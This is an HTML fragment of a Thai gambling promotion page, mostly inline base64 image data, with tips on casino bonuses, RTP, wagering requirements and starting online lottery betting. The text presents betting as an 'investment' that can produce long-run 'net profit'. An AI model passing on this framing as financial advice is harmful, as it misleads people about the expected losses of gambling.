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"/></p>
<ul>
<li>เปรียบเทียบเงื่อนไขการทำเทิร์นก่อนรับโบนัส</li>
<li>เลือกเกมที่มี RTP สูงกว่า 97%</li>
<li>เช็กขีดจำกัดการถอนสูงสุดต่อรอบ</li>
</ul>
<p><strong>คำถามที่พบบ่อย:</strong> “โปรโมชันที่มีโบนัสน้อยแต่ค่าธรรมเนียมต่ำ คุ้มกว่าไหม?” ตอบ: ใช่ ถ้าคุณเล่นระยะยาว เพราะลดต้นทุนแฝงและเพิ่มกำไรสุทธิได้มากกว่า</p>
<h3>โบนัสคืนยอดเสียรายสัปดาห์หรือรายเดือน</h3>
<p>การเลือกโปรโมชันและอัตราจ่ายที่คุ้มค่าต่อการลงทุนต้องพิจารณาเงื่อนไขการเดิมพัน (wagering requirement) และอัตราการจ่ายเงินรางวัล (RTP) ของแต่ละเกมเป็นสำคัญ ไม่ใช่เพียงตัวเลขโบนัสที่ดูสูง แต่ต้องดูว่ามีข้อกำหนดการหมุนเวียนที่ยุติธรรมหรือไม่ และอัตราจ่ายเฉลี่ยควรอยู่ที่ 95% ขึ้นไปจึงจะถือว่าคุ้มในระยะยาว <strong>การวิเคราะห์ค่า Expected Value (EV) ก่อนตัดสินใจลงทุนทุกครั้ง</strong>คือกุญแจสู่ความสำเร็จ หากโปรโมชันมีเงื่อนไขซับซ้อนเกินไปหรืออัตราจ่ายต่ำกว่าเกณฑ์ ควรหลีกเลี่ยงเพราะความเสี่ยงจะสูงกว่าผลตอบแทนที่ได้รับจริง</p>
<blockquote><p>“คุ้มค่าที่สุดไม่ใช่โบนัสก้อนใหญ่ แต่คืออัตราจ่ายที่โปร่งใสและเงื่อนไขที่เล่นได้จริงโดยไม่ติดกับดัก”</p></blockquote>
<h2>ขั้นตอนเริ่มต้นแทงเลขออนไลน์อย่างมืออาชีพ</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="607px" alt="หวยออนไลน์" src="data:image/jpg;base64,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